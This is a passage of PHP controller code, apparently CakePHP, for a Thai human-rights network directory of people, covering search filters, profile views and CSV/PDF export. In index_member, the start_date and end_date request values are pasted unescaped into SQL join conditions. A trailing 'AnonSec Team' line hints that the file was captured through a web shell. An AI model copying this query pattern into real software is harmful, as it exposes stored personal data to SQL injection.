                if( $newName != $existingPhoto['Photo']['name'] ) {
                    @unlink( $destinationFolder . $existingPhoto['Photo']['name'] );
                }
                $this->Person->Photo->delete( $existingPhoto['Photo']['id'] );
            }

            $this->Person->Photo->create();
            $this->Person->Photo->save( array(
                'fk_id' => $id,
                'model' => 'person',
                'name'  => $newName,
            ) );

        } // if photo uploaded

    } // __handleUploadPhoto

    // don't let the name fool you. this one is for frontend filters
    private function __getCommonFilterConditions(&$conditions, &$joins) {

        // @todo - hopefully i can make this more generic & use with both org and person
        $modelName = $this->modelClass;

        if ( isset($this->params->query['keyword'])
            && !empty($this->params->query['keyword']) ) {

            $keyword = $this->params->query['keyword'];
            $keywordValue = sprintf('%%%s%%', $keyword);

            $searchInFields = array(
                'name',
                'eng_name',
                'short_name',
                'eng_short_name',
                'address1',
                'address2',
                'postal_code',
                'telephone1',
                'telephone2',
                'telephone3',
                'fax',
                'email',
                'url',
                'work_level',
                'objective',
                'publish'
            );

            $keywordCondition = array();
            foreach ( $searchInFields as $field ) {
                $keywordCondition[ $modelName . '.' . $field . ' LIKE'] = $keywordValue;
            }

            $conditions['OR'] = $keywordCondition;
            $this->request->data[$modelName]['keyword'] = $keyword;
        }

         // รหัสเครือข่าย
        if ( isset($this->params->query['id'])
            && !empty($this->params->query['id']) ) {
            $id = (int)$this->params->query['id'];
            $conditions['AND'][$modelName . '.id'] = $id;
            $this->request->data[$modelName]['id'] = $id;
        }

        // ประเภทเครือข่าย
        if ( isset($this->params->query['type_id'])
            && !empty($this->params->query['type_id']) ) {
            $typeId = (int)$this->params->query['type_id'];
            $joins[] = array(
                'alias'         => 'IJ_PersonType',
                'table'         => 'people_types',
                'type'          => 'INNER',
                'conditions'    => array(
                    '`Person`.`id` = `IJ_PersonType`.`person_id`',
                    '`IJ_PersonType`.`type_id` = ' . $typeId
                ),
            );

            $this->request->data[$modelName]['type_id'] = $typeId;
        }

        // ประเภทสิทธิหลัก
        $subtopics = array();
        if ( isset($this->params->query['topic_id'])
            && !empty($this->params->query['topic_id']) ) {
            $topicId = (int)$this->params->query['topic_id'];
            $subtopics = $this->{$modelName}->Subtopic->find('list',
                array(
                    'conditions' => array('topic_id' => $topicId)
                ));

            $this->request->data[$modelName]['topic_id'] = $topicId;

            if ( isset($this->params->query['subtopic_id'])
                && !empty($this->params->query['subtopic_id']) ) {
                // selected a subtopic
                $subtopicId = (int)$this->params->query['subtopic_id'];
                $joins[] = array(
                    'alias'         => 'IJ_PersonTopic',
                    'table'         => 'people_subtopics',
                    'type'          => 'INNER',
                    'conditions'    => array(
                        '`Person`.`id` = `IJ_PersonTopic`.`person_id`',
                        '`IJ_PersonTopic`.`subtopic_id` = ' . $subtopicId
                    )
                );
                $this->request->data[$modelName]['subtopic_id'] = $subtopicId;
            } else {
                // all subtopics in selected topic_id
                $joins[] = array(
                    'alias'         => 'IJ_PersonSubtopic',
                    'table'         => 'people_subtopics',
                    'type'          => 'INNER',
                    'conditions'    => array(
                        '`IJ_PersonSubtopic`.`person_id` = `Person`.`id`'
                    )
                );

                $joins[] = array(
                    'alias'         => 'IJ_SubtopicTopic',
                    'table'         => 'subtopics',
                    'type'          => 'INNER',
                    'conditions'    => array(
                        '`IJ_PersonSubtopic`.`subtopic_id` = `IJ_SubtopicTopic`.`id`'
                    )
                );

                $joins[] = array(
                    'alias'         => 'IJ_TopicSubtopic',
                    'table'         => 'topics',
                    'type'          => 'INNER',
                    'conditions'    => array(
                        '`IJ_SubtopicTopic`.`topic_id` = `IJ_TopicSubtopic`.`id`',
                        '`IJ_TopicSubtopic`.`id` = ' . $topicId
                    )
                );
            }
        }
        $this->set('subtopics', $subtopics);

        // เป้าหมาย
        if ( isset($this->params->query['target_id'])
            && !empty($this->params->query['target_id']) ) {
            $targetId = (int)$this->params->query['target_id'];
            $joins[] = array(
                'alias'         => 'IJ_PersonTarget',
                'table'         => 'people_targets',
                'type'          => 'INNER',
                'conditions'    => array(
                    '`Person`.`id` = `IJ_PersonTarget`.`person_id`',
                    '`IJ_PersonTarget`.`target_id` = ' . $targetId
                ),
            );
            $this->request->data[$modelName]['target_id'] = $targetId;
        }

       // จังหวัดที่ตั้ง
        $locationDistricts = array();
        if ( isset($this->params->query['province_id'])
            && !empty($this->params->query['province_id']) ) {
            $provinceId = (int)$this->params->query['province_id'];
            $locationDistricts = $this->{$modelName}->District->find('list',
                array(
                    'conditions' => array('District.province_id' => $provinceId)
                ));
            $this->request->data[$modelName]['province_id'] = $provinceId;

            // selected a district
            if ( isset($this->params->query['district_id'])
                && !empty($this->params->query['district_id']) ) {
                $districtId = (int)$this->params->query['district_id'];
                $conditions['AND'][$modelName . '.district_id'] = $districtId;
                $this->request->data[$modelName]['district_id'] = $districtId;
            } else {
                // all districts in selected province
                $joins[] = array(
                    'alias'         => 'IJ_PersonDistrict',
                    'table'         => 'districts',
                    'type'          => 'INNER',
                    'conditions'    => array(
                        '`IJ_PersonDistrict`.`id` = `Person`.`district_id`'
                    )
                );

                $joins[] = array(
                    'alias'         => 'IJ_DistrictProvince',
                    'table'         => 'provinces',
                    'type'          => 'INNER',
                    'conditions'    => array(
                        '`IJ_PersonDistrict`.`province_id` = `IJ_DistrictProvince`.`id`',
                        '`IJ_DistrictProvince`.`id` = ' . $provinceId
                    )
                );
            }
        }
        $this->set('location_districts', $locationDistricts);

        // พื้นที่การทำงาน
        $workDistricts = array();
        if ( isset($this->params->query['work_province_id'])
            && !empty($this->params->query['work_province_id']) ) {
            $workProvinceId = (int)$this->params->query['work_province_id'];
            $workDistricts = $this->{$modelName}->District->find('list',
                array(
                    'conditions' => array('District.province_id' => $workProvinceId)
                ));
            $this->request->data[$modelName]['work_province_id'] = $workProvinceId;

            // selected a district
            if ( isset($this->params->query['work_district_id'])
                && !empty($this->params->query['work_district_id']) ) {
                $workDistrictId = (int)$this->params->query['work_district_id'];
                $this->request->data[$modelName]['work_district_id'] = $workDistrictId;
                $joins[] = array(
                    'alias'         => 'IJ_DistrictPerson',
                    'table'         => 'districts_people',
                    'type'          => 'INNER',
                    'conditions'    => array(
                        '`Person`.`id` = `IJ_DistrictPerson`.`person_id`',
                        '`IJ_DistrictPerson`.`district_id` = ' . $workDistrictId
                    )
                );
            } else {
                // all districts in selected work_province
                $joins[] = array(
                    'alias'         => 'IJ_DistrictPerson',
                    'table'         => 'districts_people',
                    'type'          => 'INNER',
                    'conditions'    => array(
                        '`Person`.`id` = `IJ_DistrictPerson`.`person_id`'
                    )
                );

                $joins[] = array(
                    'alias'         => 'IJ_DistrictWorkProvince',
                    'table'         => 'districts',
                    'type'          => 'INNER',
                    'conditions'    => array(
                        '`IJ_DistrictWorkProvince`.`id` = `IJ_DistrictPerson`.`district_id`'
                    )
                );

                $joins[] = array(
                    'alias'         => 'IJ_ProvinceWorkDistrict',
                    'table'         => 'provinces',
                    'type'          => 'INNER',
                    'conditions'    => array(
                        '`IJ_ProvinceWorkDistrict`.`id` = `IJ_DistrictWorkProvince`.`province_id`',
                        '`IJ_ProvinceWorkDistrict`.`id` = ' . $workProvinceId
                    )
                );
            }
        }
        $this->set('work_districts', $workDistricts);
    }

    // เครือข่ายบุคคล page - frontend
    public function index() {

        // @todo - can i juse $this->admin_index() ?
        $conditions = array();
        $joins = array();
        $this->__getCommonConditions($conditions, $joins);
        $conditions['Person.is_activated'] = array(0, 1);
        $this->Paginator->settings['conditions'] = $conditions;
        $this->Paginator->settings['joins'] = $joins;
        $this->Paginator->settings['group'] = 'Person.id';
        $this->Paginator->settings['contain'] = array('Activity');
        // this is supposed to be 0 like org controller
        // i already add Activity in contain but it doesn't show up
        // maybe it's late night already
        $this->Person->recursive = 1;
        $this->set('people', $this->Paginator->paginate());

        $this->_setListValues(array('Organization', 'Type', 'Topic', 'Position', 'Target', 'Region'));

        $this->set('topicTitle', __('เครือข่ายบุคคล'));
    }

    // เครือข่ายบุคคลรับเรื่องร้องเรียน page - frontend
    public function index_member() {
        $conditions = array();
        $conditions['AND']['Person.member_id !='] = 0;
        $joins = array();
        $this->__getCommonFilterConditions($conditions, $joins);

        // this has the same filter conditions with index action
        // plus member dates fields
        // start date
        if ( isset($this->params->query['start_date'])
            && !empty($this->params->query['start_date']) ) {
            $startDate = $this->params->query['start_date'];
            $joins[] = array(
                'alias'         => 'IJ_PersonMember',
                'table'         => 'members',
                'type'          => 'INNER',
                'conditions'    => array(
                    '`Person`.`member_id` = `IJ_PersonMember`.`id`',
                    '`IJ_PersonMember`.`started` = "' . $startDate . '"'
                )
            );
            $this->request->data['Person']['start_date'] = $startDate;
        }

        // end date
        if ( isset($this->params->query['end_date'])
            && !empty($this->params->query['end_date']) ) {
            $endDate = $this->params->query['end_date'];
            $joins[] = array(
                'alias'         => 'IJ_PersonMemberEnd',
                'table'         => 'members',
                'type'          => 'INNER',
                'conditions'    => array(
                    '`Person`.`member_id` = `IJ_PersonMemberEnd`.`id`',
                    '`IJ_PersonMemberEnd`.`ended` = "' . $endDate . '"'
                )
            );
            $this->request->data['Person']['end_date'] = $endDate;
        }

        $this->Paginator->settings['conditions'] = $conditions;
        $this->Paginator->settings['joins'] = $joins;
        $this->set('people', $this->Paginator->paginate('Person'));

        $this->_setListValues(array('Type', 'Province', 'Topic', 'Target'));
        $this->set('topicTitle', __('เครือข่ายบุคคลรับเรื่องร้องเรียน'));
    }

    /**
     * Get all information of people
     *
     * @param  integer $id person's id
     * @author Ting <3musketeersteam@gmail.com>
     * @since  6 October 2013
     */
    public function view( $id = null ) {
        if (  !$this->Person->exists($id) ) {
            throw new NotFoundException(__('ไม่พบข้อมูลเครือข่ายบุคคล'));
        }

        // build the url for the photos
        $photosUrl = 'people/' . $id;
        $this->set( 'photos_url', $photosUrl );

        $this->loadModel('Province');
        $provinces = $this->Province->find('list');
        $this->set('provinces', $provinces);
        $people = $this->Person->findById($id);

        // for the case that province-wide work area is selected from a province(s)
        // we display provinces and also districts in work_area
        $workAreas = array();
        if (!empty($people['PersonProvinceWide'])) {
            foreach ($people['PersonProvinceWide'] as $w) {
                // put the province_id as a key for later convinient comparison.
                // we don't really need array keys in the view
                $workAreas[$w['province_id']] = __('จังหวัด') . $provinces[$w['province_id']];
            }

            $workProvinces = array_keys($workAreas);
            foreach ($people['DistrictM2M'] as $d) {
                if (!in_array($d['province_id'], $workProvinces)) {
                    $workAreas[] = $d['name'];
                }
            }
        }
        // put them in $organization so it is available in pdf view also.
        $people['work_areas'] = $workAreas;

        $this->set('people', $people);
        $this->set('topicTitle', __('แสดงข้อมูลเครือข่ายบุคคล'));

        $this->loadModel('Position');
        $positions = $this->Position->find('list');
        $this->set('positions', $positions);

        if ( isset($this->params->ext) && $this->params->ext == 'pdf') {
            $this->_renderPdf(
                array_merge($people, array('Province' => $provinces), array( 'Position' => $positions ) ),
                '/People/pdf/view'
            );
        }
    }

    public function admin_export() {
        Configure::write('debug',0); // just in case

        $this->autoRender = false; // thanks, but no.

        $modelName = $this->modelClass;
        $conditions = array();
        $joins = array();
        $this->__getCommonConditions($conditions, $joins);

        // Find fields needed without recursing through associated models
        $data = $this->{$modelName}->find('all',
            array(
                'conditions' => $conditions,
                // 'joins' => $joins,
                'order' => $modelName . '.id ASC',
                'recursive' => -1
        ));

        // Define column headers for CSV file, in same array format as the data itself
        $headers = array(
            $modelName => array(
                'id' => __('รหัส'),
                // 'type' => __('ประเภทเครือข่ายบุคคล'),
                'organization_' => __('สังกัดเครือข่ายองค์กร'),
                'name' => __('ชื่อเครือข่าย'),
                // 'position' => __('สถานะที่เกี่ยวข้องกับ กสม.'),
                'eng_name' => __('ชื่อเครือข่ายบุคคลภาษาอังกฤษ'),
                'short_name' => __('ชื่อย่อเครือข่ายบุคคล'),
                'eng_short_name' => __('ชื่อย่อเครือข่ายภาษาอังกฤษ'),
                'fax' => __('โทรสาร'),
                'email' => __('อีเมล์องค์กร'),
                'url' => __('เว็บไซต์'),
                'telephone1' => __('หมายเลขโทรศัพท์ 1'),
                'telephone2' => __('หมายเลขโทรศัพท์ 2'),
                'founded' => __('วันที่เป็นสมาชิก'),
                'joined' => __('วันที่เริ่มเป็นสมาชิก'),
                'address' => __('ที่อยู่'),
                'province' => __('จังหวัด'),
                'district' => __('อำเภอ'),
                'postal_code' => __('รหัสไปรษณีย์'),
                'work_level' => __('หมายเหตุ'),
                'objective' => __('ผลงานที่ผ่านมา'),
                'publish' => __('ประวัติโดยย่อ'),
                'target' => __('กลุ่มเป้าหมาย'),
                'subtopic' => __('ประเภทสิทธิ'),
                'position' => __('สถานะที่เกี่ยวข้องกับ กสม.'),
                // 'position_start' => __('วันที่ได้รับตำแหน่ง'),
                // 'position_end' => __('วันสิ้นสุดตำแหน่ง'),
                'work_districts' => __('พื้นที่การทำงาน'),
                'created' => __('วันที่เพิ่มข้อมูล'),
                'modified' => __('แก้ไขล่าสุด')
            )
        );

        $this->loadModel( 'Position' );
        $positions = $this->Position->find( 'list' );

        foreach ( $data as &$d ) {

            // many to many - join the names together
            // $offers = array();
            // if ( isset($d['Offer']) ) {
            //     foreach( $d['Offer'] as $offer ) {
            //         $offers[] = $offer['name'];
            //     }
            // }

            // $actions = array();
            // if ( isset($d['Action']) ) {
            //     foreach( $d['Action'] as $action ) {
            //         $actions[] = $action['name'];
            //     }
            // }

            $targets = array();
            if ( isset($d['Target']) ) {
                foreach( $d['Target'] as $target ) {
                    $targets[] = $target['name'];
                }
            }

            $subtopics = array();
            if ( isset($d['Subtopic']) ) {
                foreach( $d['Subtopic'] as $subtopic ) {
                    $subtopics[] = $subtopic['name'];
                }
            }

            $workDistricts = array();
            if ($d['Person']['is_nationwide']) {
                $workDistricts = __('ทั่วประเทศ');
            } else if ( isset($d['DistrictM2M']) ) {
                foreach( $d['DistrictM2M'] as $work ) {
                    $workDistricts[] = $work['name'];
                }
                $workDistricts = implode(',', $workDistricts);
            }

            $province = $this->Person->District->Province->find('first',
                array(
                    'conditions' => array(
                        'Province.id' => $d['District']['province_id']
                    ),
                    'recursive' => -1,
                    'fields' => array('name')
                ));

            $peoplePositions = array();
            if(isset($d['PeoplePosition'])){
                foreach( $d['PeoplePosition'] as $personPosition ) {
                    $peoplePosition= $positions[$personPosition['position_id']] . ' (' . $personPosition['start'];
                    if( $personPosition['end'] != NULL ) {
                      $peoplePosition .= ' - ' . $personPosition['end'];
                    }
                    $peoplePosition .= ')';

                    $peoplePositions[] = $peoplePosition;
                }
           }

            $d = array(
                $modelName => array(
                    'id' => $d['Person']['id'],
                    // 'type' => $d['Type'][0]['name'],
                    'organization' => $d['Organization']['name'],
                    'name' => $d['Person']['name'],
                    // 'position' => $d['Position']['name'],
                    'eng_name' => $d['Person']['eng_name'],
                    'short_name' => $d['Person']['short_name'],
                    'eng_short_name' => $d['Person']['eng_short_name'],
                    'fax' => $d['Person']['fax'],
                    'email' => $d['Person']['email'],
                    'url' => $d['Person']['url'],
                    'telephone1' => $d['Person']['telephone1'],
                    'telephone2' => $d['Person']['telephone2'],
                    'founded' => $d['Person']['founded'],
                    'joined' => $d['Person']['joined'],
                    'address' => $d['Person']['address1'],
                    'province' => $province['Province']['name'],
                    'district' => $d['District']['name'],
                    'postal_code' => $d['Person']['postal_code'],
                    'work_level' => $d['Person']['work_level'],
                    'objective' => $d['Person']['objective'],
                    'publish' => $d['Person']['publish'],
                    'target' => implode(',', $targets),
                    'subtopic' => implode(',', $subtopics),
                    'position' => implode( ',', $peoplePositions ),
                    // 'position' => $d['Position']['name'],
                    // 'position_start' => $d['Person']['position_start'],
                    // 'position_end' => $d['Person']['position_end'],
                    'work_districts' => $workDistricts,
                    'created' => $d['Person']['created'],
                    'modified' => $d['Person']['modified']
                )
            );
        }
        $this->set('model', $modelName);

        if ( $this->request->params['ext'] == 'csv' ) {
            // Add headers to start of data array
            array_unshift($data, $headers);
            // Make the data available to the view (and the resulting CSV file)
            $this->set(compact('data'));
            $this->render('/Elements/csv/admin_export', false);
        } else {
            $this->set('topicTitle', __('เครือข่ายบุคคล'));
            $this->set(compact('data'));
            $this->_renderPdf($data, 'admin_export');
        }
    }
}

Anon7 - 2022
AnonSec Team